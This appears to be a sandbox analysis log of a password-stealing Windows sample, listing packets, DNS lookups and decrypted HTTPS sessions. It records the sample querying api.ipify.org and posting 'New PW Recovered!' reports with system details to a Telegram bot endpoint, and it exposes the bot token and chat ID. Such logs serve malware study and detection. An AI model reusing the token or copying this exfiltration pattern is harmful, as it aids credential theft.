Apr 19, 2024 19:36:11.644068956 CEST	443	49730	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:11.644130945 CEST	49730	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:11.644155025 CEST	443	49730	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:11.644179106 CEST	443	49730	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:11.644221067 CEST	49730	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:11.644762039 CEST	49730	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:30.681699991 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:30.681781054 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:30.681909084 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:30.685688972 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:30.685700893 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:31.109560013 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:31.112083912 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:31.112095118 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:31.458610058 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:31.458632946 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:31.458781004 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:31.458798885 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:31.458890915 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:31.458925962 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:31.527017117 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:31.637222052 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:32.399487972 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:32.399580956 CEST	443	49731	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:32.399614096 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:32.399863958 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:32.402004957 CEST	49731	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:35.311744928 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:35.311789036 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:35.311861038 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:35.312371016 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:35.312386990 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:35.727322102 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:35.729074955 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:35.729104996 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.083331108 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.083368063 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.083511114 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.083533049 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.083761930 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.083990097 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.136023998 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.317689896 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.317714930 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.317854881 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.318312883 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.318327904 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.333170891 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.741421938 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.743484020 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.743511915 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.967909098 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.967983961 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.967998028 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.968009949 CEST	443	49732	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:36.968115091 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:36.968898058 CEST	49732	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.099170923 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.099208117 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.099282980 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.099301100 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.101715088 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.101743937 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.160021067 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.317538977 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.609344959 CEST	49734	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.609415054 CEST	443	49734	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.609477997 CEST	49734	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.609884024 CEST	49734	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.609894991 CEST	443	49734	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.834934950 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.835001945 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.835021019 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.835032940 CEST	443	49733	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.835068941 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.836771965 CEST	49733	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.900965929 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.901012897 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.901072979 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.901459932 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.901478052 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:37.907151937 CEST	49734	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:37.952127934 CEST	443	49734	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.032993078 CEST	443	49734	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.033135891 CEST	443	49734	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.033201933 CEST	49734	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:38.033741951 CEST	49734	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:38.318274021 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.318496943 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:38.321377993 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:38.321394920 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.321779013 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.324091911 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:38.368125916 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.677090883 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:38.677129030 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.677607059 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:38.677625895 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.677823067 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:38.677839041 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.728374004 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:38.820691109 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:39.410235882 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:39.410305023 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:39.410327911 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:39.410343885 CEST	443	49735	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:39.410394907 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:39.410959005 CEST	49735	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:41.364725113 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:41.364767075 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:41.364872932 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:41.365228891 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:41.365238905 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:41.789993048 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:41.791965008 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:41.791984081 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:42.149715900 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:42.149751902 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:42.150074959 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:42.150101900 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:42.150355101 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:42.150381088 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:42.206207037 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:42.333688021 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:42.917834044 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:42.917917967 CEST	443	49736	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:42.917947054 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:42.918068886 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:42.919720888 CEST	49736	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:50.079829931 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:50.079879045 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:50.084121943 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:50.084121943 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:50.084167957 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:50.506361961 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:50.507925034 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:50.507946968 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:50.867882967 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:50.867919922 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:50.868026018 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:50.868046999 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:50.868153095 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:50.868185997 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:50.926700115 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:51.020596027 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:51.663280010 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:51.663330078 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:51.663345098 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:51.663358927 CEST	443	49737	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:51.663408995 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:51.663897038 CEST	49737	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:55.376014948 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:55.376133919 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:55.376205921 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:55.376703978 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:55.376734018 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:55.803983927 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:55.806668043 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:55.806727886 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:56.161742926 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:56.161848068 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:56.169753075 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:56.169831038 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:56.173741102 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:56.173803091 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:56.223915100 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:56.333240986 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:56.898598909 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:56.898845911 CEST	443	49738	149.154.167.220	192.168.2.5
Apr 19, 2024 19:36:56.899373055 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:36:56.899373055 CEST	49738	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.098566055 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.098627090 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.098762989 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.099195004 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.099222898 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.193020105 CEST	49740	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.193065882 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.193130970 CEST	49740	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.193521023 CEST	49740	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.193533897 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.524112940 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.527358055 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.527457952 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.607883930 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.609946012 CEST	49740	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.609965086 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.880309105 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.880389929 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.880515099 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.880554914 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.880649090 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.880712986 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.957851887 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.958271980 CEST	49740	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.958304882 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.958384991 CEST	49740	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.958395004 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:12.958475113 CEST	49740	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:12.958504915 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:13.004965067 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:13.018131971 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:13.067512035 CEST	49740	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:13.742862940 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:13.742939949 CEST	443	49739	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:13.742940903 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:13.742991924 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:13.743285894 CEST	49739	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:13.808924913 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:13.808995962 CEST	49740	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:37:13.808998108 CEST	443	49740	149.154.167.220	192.168.2.5
Apr 19, 2024 19:37:13.809051991 CEST	49740	443	192.168.2.5	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 19:33:04.422277927 CEST	53076	53	192.168.2.5	1.1.1.1
Apr 19, 2024 19:33:04.527829885 CEST	53	53076	1.1.1.1	192.168.2.5
Apr 19, 2024 19:33:05.819991112 CEST	52707	53	192.168.2.5	1.1.1.1
Apr 19, 2024 19:33:05.925828934 CEST	53	52707	1.1.1.1	192.168.2.5
Apr 19, 2024 19:37:12.085498095 CEST	57280	53	192.168.2.5	1.1.1.1
Apr 19, 2024 19:37:12.192385912 CEST	53	57280	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 19:33:04.422277927 CEST	192.168.2.5	1.1.1.1	0x4003	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 19, 2024 19:33:05.819991112 CEST	192.168.2.5	1.1.1.1	0x56c9	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Apr 19, 2024 19:37:12.085498095 CEST	192.168.2.5	1.1.1.1	0x8543	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 19:33:04.527829885 CEST	1.1.1.1	192.168.2.5	0x4003	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 19, 2024 19:33:04.527829885 CEST	1.1.1.1	192.168.2.5	0x4003	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 19, 2024 19:33:04.527829885 CEST	1.1.1.1	192.168.2.5	0x4003	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 19, 2024 19:33:05.925828934 CEST	1.1.1.1	192.168.2.5	0x56c9	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false
Apr 19, 2024 19:37:12.192385912 CEST	1.1.1.1	192.168.2.5	0x8543	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.26.12.205	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:33:04 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-19 17:33:05 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 17:33:05 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 876ea33a0bb81363-ATL
2024-04-19 17:33:05 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:33:06 UTC	260	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc60a788f191e0 Host: api.telegram.org Content-Length: 971 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:33:06 UTC	971	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 37 38 38 66 31 39 31 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 37 38 38 66 31 39 31 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 34 2f 31 39 2f 32 30 32 34 20 31 39 3a 33 33 3a 30 35 0a 55 73 65 72 Data Ascii: -----------------------------8dc60a788f191e0Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc60a788f191e0Content-Disposition: form-data; name="caption"New PW Recovered!Time: 04/19/2024 19:33:05User
2024-04-19 17:33:06 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:33:07 UTC	1115	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:33:06 GMT Content-Type: application/json Content-Length: 727 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3318,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713547986,"document":{"file_name":"user-618321 2024-04-19 19-33-05.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIM9mYiqtL-K8bdpKuwa8f63o3UMu4VAAKnFwACi1IZUdt_S1JLSfEINAQ","file_unique_id":"AgADpxcAAotSGVE","file_size":348},"caption":"New PW Recovered!\n\nTime: 04/19/2024 19:33:05\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	104.26.12.205	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:33:08 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-19 17:33:08 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 17:33:08 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 876ea350caf8672b-ATL
2024-04-19 17:33:08 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 35 32 Data Ascii: 81.181.57.52

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49708	149.154.167.220	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:33:09 UTC	260	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc60a78b10ac3b Host: api.telegram.org Content-Length: 971 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:33:10 UTC	971	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 37 38 62 31 30 61 63 33 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 30 61 37 38 62 31 30 61 63 33 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 34 2f 31 39 2f 32 30 32 34 20 31 39 3a 33 33 3a 30 38 0a 55 73 65 72 Data Ascii: -----------------------------8dc60a78b10ac3bContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc60a78b10ac3bContent-Disposition: form-data; name="caption"New PW Recovered!Time: 04/19/2024 19:33:08User
2024-04-19 17:33:10 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:33:10 UTC	1115	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:33:10 GMT Content-Type: application/json Content-Length: 727 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3324,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713547990,"document":{"file_name":"user-618321 2024-04-19 19-33-08.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIM_GYiqtbS_aNeM0Sh8rUzTUMJRosKAAKpFwACi1IZUSdyn0NshDvlNAQ","file_unique_id":"AgADqRcAAotSGVE","file_size":348},"caption":"New PW Recovered!\n\nTime: 04/19/2024 19:33:08\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

